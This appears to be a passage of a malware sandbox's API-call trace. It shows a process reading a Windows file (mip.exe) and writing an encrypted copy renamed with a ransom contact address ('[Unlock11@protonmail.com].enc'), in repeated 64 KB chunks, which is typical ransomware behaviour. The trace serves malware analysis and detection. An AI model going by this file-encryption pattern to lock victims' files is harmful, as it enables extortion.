0x3d [0121.584] GetCurrentThreadId () returned 0x9b0 [0121.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0121.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0121.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0121.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0121.585] GetCurrentThreadId () returned 0x9b0 [0121.585] GetLastError () returned 0x5 [0121.585] GetLastError () returned 0x5 [0121.585] GetLastError () returned 0x5 [0121.585] GetLastError () returned 0x5 [0121.585] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll", lpFilePart=0x9bada4*="Microsoft.Ink.dll") returned 0x44 [0121.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0121.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0121.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0121.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0121.586] GetCurrentThreadId () returned 0x9b0 [0121.586] GetLastError () returned 0x5 [0121.586] GetLastError () returned 0x5 [0121.586] GetLastError () returned 0x5 [0121.586] GetLastError () returned 0x5 [0121.586] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe", lpFilePart=0x9bada4*="mip.exe") returned 0x3a [0121.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0121.586] GetCurrentThreadId () returned 0x9b0 [0121.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0121.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.587] GetLastError () returned 0x0 [0121.587] GetLastError () returned 0x0 [0121.587] GetLastError () returned 0x0 [0121.587] GetLastError () returned 0x0 [0121.587] GetCurrentThreadId () returned 0x9b0 [0121.587] GetLastError () returned 0x0 [0121.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.588] GetCurrentThreadId () returned 0x9b0 [0121.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0121.588] GetLastError () returned 0x0 [0121.588] GetLastError () returned 0x0 [0121.589] GetLastError () returned 0x0 [0121.589] GetLastError () returned 0x0 [0121.589] GetCurrentThreadId () returned 0x9b0 [0121.590] GetCurrentThreadId () returned 0x9b0 [0121.590] GetCurrentThreadId () returned 0x9b0 [0121.590] GetCurrentThreadId () returned 0x9b0 [0121.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a968 [0121.590] GetCurrentThreadId () returned 0x9b0 [0121.590] GetCurrentThreadId () returned 0x9b0 [0121.590] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200)) returned 1 [0121.590] GetCurrentThreadId () returned 0x9b0 [0121.590] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0d4 | out: pbBuffer=0x366a0d4) returned 1 [0121.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0121.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0121.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0121.591] GetCurrentThreadId () returned 0x9b0 [0121.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0121.591] GetCurrentThreadId () returned 0x9b0 [0121.591] GetCurrentThreadId () returned 0x9b0 [0121.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0121.591] GetCurrentThreadId () returned 0x9b0 [0121.591] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.592] GetFileType (hFile=0x39c) returned 0x1 [0121.592] GetCurrentThreadId () returned 0x9b0 [0121.592] GetFileType (hFile=0x39c) returned 0x1 [0121.592] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.592] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.592] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.592] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.592] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.592] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.592] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.592] GetLastError () returned 0x0 [0121.593] GetCurrentThreadId () returned 0x9b0 [0121.593] GetLastError () returned 0x0 [0121.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.593] GetLastError () returned 0x0 [0121.593] GetLastError () returned 0x0 [0121.593] GetLastError () returned 0x0 [0121.593] GetLastError () returned 0x0 [0121.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab4728 [0121.593] GetLastError () returned 0x0 [0121.594] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.594] GetFileType (hFile=0x3ac) returned 0x1 [0121.594] GetLastError () returned 0x0 [0121.594] GetCurrentThreadId () returned 0x9b0 [0121.594] GetLastError () returned 0x0 [0121.594] GetFileType (hFile=0x3ac) returned 0x1 [0121.594] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.595] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.595] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.595] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.595] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.595] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.595] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.595] GetLastError () returned 0x0 [0121.595] GetCurrentThreadId () returned 0x9b0 [0121.595] GetLastError () returned 0x0 [0121.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0121.595] GetCurrentThreadId () returned 0x9b0 [0121.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0121.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.596] GetLastError () returned 0x0 [0121.596] GetLastError () returned 0x0 [0121.596] GetCurrentThreadId () returned 0x9b0 [0121.596] GetLastError () returned 0x0 [0121.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.596] GetLastError () returned 0x0 [0121.596] GetLastError () returned 0x0 [0121.596] GetCurrentThreadId () returned 0x9b0 [0121.596] GetLastError () returned 0x0 [0121.596] GetLastError () returned 0x0 [0121.622] GetLastError () returned 0x0 [0121.622] GetCurrentThreadId () returned 0x9b0 [0121.622] GetLastError () returned 0x0 [0121.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.623] GetLastError () returned 0x0 [0121.623] GetLastError () returned 0x0 [0121.623] GetLastError () returned 0x0 [0121.623] GetLastError () returned 0x0 [0121.623] GetCurrentThreadId () returned 0x9b0 [0121.623] GetLastError () returned 0x0 [0121.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0121.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0121.624] GetLastError () returned 0x0 [0121.626] GetLastError () returned 0x0 [0121.626] GetCurrentThreadId () returned 0x9b0 [0121.626] GetLastError () returned 0x0 [0121.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.627] GetCurrentThreadId () returned 0x9b0 [0121.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.627] GetLastError () returned 0x0 [0121.627] GetLastError () returned 0x0 [0121.628] GetCurrentThreadId () returned 0x9b0 [0121.628] GetLastError () returned 0x0 [0121.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0121.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.628] GetLastError () returned 0x0 [0121.628] GetLastError () returned 0x0 [0121.629] GetLastError () returned 0x0 [0121.629] GetLastError () returned 0x0 [0121.629] GetCurrentThreadId () returned 0x9b0 [0121.629] GetLastError () returned 0x0 [0121.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0121.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.629] GetLastError () returned 0x0 [0121.630] GetLastError () returned 0x0 [0121.630] GetCurrentThreadId () returned 0x9b0 [0121.630] GetLastError () returned 0x0 [0121.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.631] GetLastError () returned 0x0 [0121.633] GetLastError () returned 0x0 [0121.634] GetCurrentThreadId () returned 0x9b0 [0121.634] GetLastError () returned 0x0 [0121.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.634] GetCurrentThreadId () returned 0x9b0 [0121.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.634] GetLastError () returned 0x0 [0121.635] GetLastError () returned 0x0 [0121.635] GetLastError () returned 0x0 [0121.635] GetLastError () returned 0x0 [0121.635] GetCurrentThreadId () returned 0x9b0 [0121.635] GetLastError () returned 0x0 [0121.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.635] GetLastError () returned 0x0 [0121.636] GetLastError () returned 0x0 [0121.636] GetCurrentThreadId () returned 0x9b0 [0121.636] GetLastError () returned 0x0 [0121.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.637] GetLastError () returned 0x0 [0121.638] GetLastError () returned 0x0 [0121.638] GetCurrentThreadId () returned 0x9b0 [0121.638] GetLastError () returned 0x0 [0121.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0121.638] GetCurrentThreadId () returned 0x9b0 [0121.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.639] GetLastError () returned 0x0 [0121.639] GetLastError () returned 0x0 [0121.639] GetLastError () returned 0x0 [0121.640] GetLastError () returned 0x0 [0121.640] GetCurrentThreadId () returned 0x9b0 [0121.640] GetLastError () returned 0x0 [0121.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.640] GetLastError () returned 0x0 [0121.642] GetLastError () returned 0x0 [0121.642] GetCurrentThreadId () returned 0x9b0 [0121.642] GetLastError () returned 0x0 [0121.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.642] GetLastError () returned 0x0 [0121.645] GetLastError () returned 0x0 [0121.645] GetCurrentThreadId () returned 0x9b0 [0121.645] GetLastError () returned 0x0 [0121.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.645] GetCurrentThreadId () returned 0x9b0 [0121.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.645] GetLastError () returned 0x0 [0121.646] GetLastError () returned 0x0 [0121.646] GetLastError () returned 0x0 [0121.646] GetLastError () returned 0x0 [0121.646] GetCurrentThreadId () returned 0x9b0 [0121.646] GetLastError () returned 0x0 [0121.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.646] GetLastError () returned 0x0 [0121.648] GetLastError () returned 0x0 [0121.649] GetCurrentThreadId () returned 0x9b0 [0121.649] GetLastError () returned 0x0 [0121.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.649] GetLastError () returned 0x0 [0121.649] GetLastError () returned 0x0 [0121.650] GetCurrentThreadId () returned 0x9b0 [0121.650] GetLastError () returned 0x0 [0121.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0121.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.651] GetCurrentThreadId () returned 0x9b0 [0121.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.651] GetLastError () returned 0x0 [0121.651] GetLastError () returned 0x0 [0121.651] GetLastError () returned 0x0 [0121.651] GetLastError () returned 0x0 [0121.651] GetCurrentThreadId () returned 0x9b0 [0121.651] GetLastError () returned 0x0 [0121.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0121.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0121.652] GetLastError () returned 0x0 [0121.653] GetLastError () returned 0x0 [0121.653] GetCurrentThreadId () returned 0x9b0 [0121.653] GetLastError () returned 0x0 [0121.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.653] GetLastError () returned 0x0 [0121.654] GetLastError () returned 0x0 [0121.654] GetCurrentThreadId () returned 0x9b0 [0121.654] GetLastError () returned 0x0 [0121.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.654] GetCurrentThreadId () returned 0x9b0 [0121.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.654] GetLastError () returned 0x0 [0121.655] GetLastError () returned 0x0 [0121.655] GetLastError () returned 0x0 [0121.655] GetLastError () returned 0x0 [0121.655] GetCurrentThreadId () returned 0x9b0 [0121.655] GetLastError () returned 0x0 [0121.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0121.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0121.655] GetLastError () returned 0x0 [0121.656] GetLastError () returned 0x0 [0121.657] GetCurrentThreadId () returned 0x9b0 [0121.657] GetLastError () returned 0x0 [0121.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.657] GetLastError () returned 0x0 [0121.657] GetLastError () returned 0x0 [0121.659] GetCurrentThreadId () returned 0x9b0 [0121.659] GetLastError () returned 0x0 [0121.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0121.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.659] GetCurrentThreadId () returned 0x9b0 [0121.659] GetLastError () returned 0x0 [0121.660] GetLastError () returned 0x0 [0121.660] GetLastError () returned 0x0 [0121.660] GetLastError () returned 0x0 [0121.660] GetCurrentThreadId () returned 0x9b0 [0121.660] GetLastError () returned 0x0 [0121.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0121.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.660] GetLastError () returned 0x0 [0121.661] GetLastError () returned 0x0 [0121.662] GetCurrentThreadId () returned 0x9b0 [0121.662] GetLastError () returned 0x0 [0121.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.662] GetLastError () returned 0x0 [0121.662] GetLastError () returned 0x0 [0121.662] GetCurrentThreadId () returned 0x9b0 [0121.662] GetLastError () returned 0x0 [0121.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.663] GetCurrentThreadId () returned 0x9b0 [0121.663] GetLastError () returned 0x0 [0121.663] GetLastError () returned 0x0 [0121.663] GetLastError () returned 0x0 [0121.663] GetLastError () returned 0x0 [0121.663] GetCurrentThreadId () returned 0x9b0 [0121.663] GetLastError () returned 0x0 [0121.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0121.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.664] GetLastError () returned 0x0 [0121.666] GetLastError () returned 0x0 [0121.666] GetCurrentThreadId () returned 0x9b0 [0121.666] GetLastError () returned 0x0 [0121.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.666] GetLastError () returned 0x0 [0121.667] GetLastError () returned 0x0 [0121.667] GetCurrentThreadId () returned 0x9b0 [0121.667] GetLastError () returned 0x0 [0121.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0121.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.668] GetLastError () returned 0x0 [0121.668] GetLastError () returned 0x0 [0121.668] GetLastError () returned 0x0 [0121.669] GetLastError () returned 0x0 [0121.669] GetLastError () returned 0x0 [0121.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0121.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0121.669] GetLastError () returned 0x0 [0121.670] GetLastError () returned 0x0 [0121.670] GetLastError () returned 0x0 [0121.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.671] GetLastError () returned 0x0 [0121.671] GetLastError () returned 0x0 [0121.671] GetLastError () returned 0x0 [0121.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.671] GetLastError () returned 0x0 [0121.672] GetLastError () returned 0x0 [0121.672] GetLastError () returned 0x0 [0121.672] GetLastError () returned 0x0 [0121.672] GetLastError () returned 0x0 [0121.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.672] GetLastError () returned 0x0 [0121.673] GetLastError () returned 0x0 [0121.674] GetLastError () returned 0x0 [0121.674] HeapFree (in: 